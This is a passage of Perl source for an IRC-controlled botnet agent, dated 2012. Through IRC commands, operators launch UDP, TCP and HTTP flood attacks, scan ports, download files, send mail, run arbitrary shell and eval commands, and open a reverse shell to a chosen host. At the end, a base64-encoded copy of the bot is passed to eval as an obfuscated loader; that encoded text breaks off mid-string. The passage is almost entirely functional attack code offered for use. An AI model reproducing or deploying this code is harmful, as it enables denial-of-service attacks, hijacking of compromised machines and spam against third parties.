$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@channels) {
sendraw("MODE $nick +x");
sendraw("JOIN $canal");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
###########################
##### [ Help Module ] #####
###########################
if ($funcarg =~ /^help/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1ps PerlBot Main Help:");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1system ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1version ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1channel ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1flood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1utils ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================");
}
if ($funcarg =~ /^system/) {
$uptime=`uptime`;
$ownd=`pwd`;
$id=`id`;
$uname=`uname -srp`;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1 ps Bot Configuration: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================");
}
if ($funcarg =~ /^version/){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1==================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1 ps Bot Informations: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1==================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12CrAmEr ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1==================================");
}
if ($funcarg =~ /^flood/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=============================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1 ps PerlBot Flood Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=============================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp1 <ip> <port> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp2 <ip> <packet size> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp3 <ip> <port> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1tcp <ip> <port> <pack size> <time>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1http <site> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1ctcpflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1msgflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1noticeflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=============================================");
}
if ($funcarg =~ /^channel/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1====================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1 ps PerlBot Channel Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1====================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1join <channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1part <channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1rejoin <channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1op <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1deop <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1voice <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1devoice <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1nick <newnick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1msg <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1quit ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1die ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1====================================");
}
if ($funcarg =~ /^utils/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1 ps PerlBot Utils Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================================================");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1cback <ip> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1download <url+path> <file> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1mail <subject> <sender> <recipient> <message> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1dns <ip> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1port <ip> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1portscan <ip> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x pwd (for example) ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================================================");
}
#########################
##### [ Functions ] #####
#########################
if ($funcarg =~ /^die/) {
sendraw($IRC_cur_socket, "QUIT :");
$killd = "kill -9 ".fork;
system (`$killd`);
}
###########
if ($funcarg =~ /^join (.*)/) {
sendraw($IRC_cur_socket, "JOIN ".$1);
}
if ($funcarg =~ /^part (.*)/) {
sendraw($IRC_cur_socket, "PART ".$1);
}
###########
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1Open ports found: 12@aberta ");
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1No open ports found. ");
}
}
##############
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
}
##############
if ($funcarg =~ /^dns\s+(.*)/){
my $nsku = $1;
$mydns = inet_ntoa(inet_aton($nsku));
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
}
##############
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
my $hostip= "$1";
my $portsc= "$2";
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
if ($scansock) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
}
}
##############
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $dtime = "$3";
my $pacote;
my $pacotese;
my $size = 0;
my $fim = time + $dtime;
my $pacota = 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($dtime != "0"));
$pacote = $size ? $size : int(rand(1024-64)+64) ;
$porta = int(rand 65000) +1 if ($porta == "0");
#send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
}
##############
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
}
##############
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $dtime = "$3";
my $pacote;
my $pacotese;
my $fim = time + $dtime;
my $pacota = 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($dtime != "0"));
$pacote= $rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
}
##############
##############
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
}
##############
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP FlooD] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP FlooD] 9,1Attacking ended on: 12".$1."9,1. ");
}
##############
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $port = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Connect Back] 9,1Connecting to 12$host:$port ");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
}
##############
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
$subject = $1;
$sender = $2;
$recipient = $3;
@corpo = $4;
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
open (SENDMAIL, "| $sendmail -t");
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n";
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "@corpo\n\n";
close (SENDMAIL);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
}
exit;
}
}
##############
if ($funcarg =~ /^ctcpflood (.*)/) {
my $target = "$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
for (1..10) {
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
}
}
##############
if ($funcarg =~ /^msgflood (.*)/) {
my $target = "$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRC Flood] 9,1MSG Flooding: 12".$target." ");
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
}
##############
if ($funcarg =~ /^noticeflood (.*)/) {
my $target = "$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRC Flood] 9,1NOTICE Flooding: 12".$target." ");
for (1..2){
sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
}
}
##############
##############
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
elsif ($case =~ /^part (.*)/) {
p("$1");
}
elsif ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
elsif ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
elsif ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", "6667");
}
elsif ($case =~ /^nick (.*)/) {
nick("$1");
}
elsif ($case =~ /^raw (.*)/) {
sendraw("$1");
}
elsif ($case =~ /^eval (.*)/) {
eval "$1";
}
elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
j("$1");
}
elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
p("$1");
}
elsif ($case =~ /^quit/) {
quit();
}
}
##############
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
} elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
##############
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $port = 1;
$port <= 65000; $port++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3;
$pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
##############
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
##############
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
exit;
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
}
###################
##### [ EOF ] #####
###################
#!/usr/bin/perl
use MIME::Base64;
eval(decode_base64('IyEvdXNyL2Jpbi9wZXJsDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjICBwZXJsQm90IHYxLjAyMDEyIEJ5IHVua25vd24gQHVua25vd24gICAjIyAgICBbIEhlbHAgXSAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICAgICBTdGVhbHRoIE11bHRpRnVuY3Rpb25hbCBJcmNCb3QgV3JpdGVuIGluIFBlcmwgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjICAgICAgICBUZXN0ZSBvbiBldmVyeSBzeXN0ZW0gd2l0aCBQRVJMIGluc3RsbGVkICAgICAgICAgICAgICMjICAheCBAc3lzdGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjDQojIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIyAgIXggQHZlcnNpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgIFRoaXMgaXMgYSBmcmVlIHByb2dyYW0gdXNlZCBvbiB5b3VyIG93biByaXNrLiAgICAgICAgICAgIyMgICF4IEBjaGFubmVsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMNCiMjICAgICAgICBDcmVhdGVkIGZvciBlZHVjYXRpb25hbCBwdXJwb3NlIG9ubHkuICAgICAgICAgICAgICAgICMjICAheCBAZmxvb2QgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjDQojIyBJJ20gbm90IHJlc3BvbnNpYmxlIGZvciB0aGUgaWxsZWdhbCB1c2Ugb2YgdGhpcyBwcm9ncmFtLiAgICAjIyAgIXggQHV0aWxzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIFsgQ2hhbm5lbCBdICMjIyMjIyMjIyMjIyMjIyMjIyMjIFsgRmxvb2QgXSAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIFsgVXRpbHMgXSAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgIXggIWpvaW4gPCNjaGFubmVsPiAgICAgICAgICAjIyAheCBAdWRwMSA8aXA+IDxwb3J0PiA8dGltZT4gICAgICAgICAgICAgICMjICAhc3UgQGNvbmJhY2sgPGlwPiA8cG9ydD4gICAgICAgICAgIyMNCiMjICF4ICFwYXJ0IDwjY2hhbm5lbD4gICAgICAgICAgIyMgIXggQHVkcDIgPGlwPiA8cGFja2V0IHNpemU+IDx0aW1lPiAgICAgICAjIyAgIXggQGRvd25sb2QgPHVybCtwYXRoPiA8ZmlsZT4gICAgICMjDQojIyAheCAheGVqb2luIDwjY2hhbm5lbD4gICAgICAgICMjICF4IEB1ZHAzIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIyMgICF4IEBwb3J0c2NhbiA8aXA+ICAgICAgICAgICAgICAgICAjIw0KIyMgIXggIW9wIDxjaGFubmVsPiA8bmljaz4gICAgICAjIyAheCBAdGNwIDxpcD4gPHBvcnQ+IDxwYWNrZXQgc2l6ZT4gPHRpbWU+ICMjICAheCBAbWFpbCA8c3ViamVjdD4gPHNlbmRlcj4gICAgICAgIyMNCiMjICF4ICFkZW9wIDxjaGFubmVsPiA8bmljaz4gICAgIyMgIXggQGh0dHAgPHNpdGU+IDx0aW1lPiAgICAgICAgICAgICAgICAgICAjIyAgICAgICAgICAgPHJlY2lwaWVudD4gPG1lc3NhZ2U+ICAgICMjDQojIyAheCAhdm9pY2UgPGNoYW5uZWw+IDxuaWNrPiAgICMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICF4IHB3ZDt1bmFtZSAtYTtpZCA8Zm9yIGV4YW1wbGU+ICAjIw0KIyMgIXggIWRldm9pY2UgPGNoYW5uZWw+IDxuaWNrPiAjIyAheCBAY3RjcGZsb29kIDxuaWNrPiAgICAgICAgICAgICAgICAgICAgICMjICAheCBAcG9ydCA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgIyMNCiMjICF4ICFuaWNrIDxuZXduaWNrPiAgICAgICAgICAgIyMgIXggQG1zZ2Zsb29kIDxuaWNrPiAgICAgICAgICAgICAgICAgICAgICAjIyAgIXggQGRucyA8aXAvaG9zdD4gICAgICAgICAgICAgICAgICMjDQojIyAheCAhb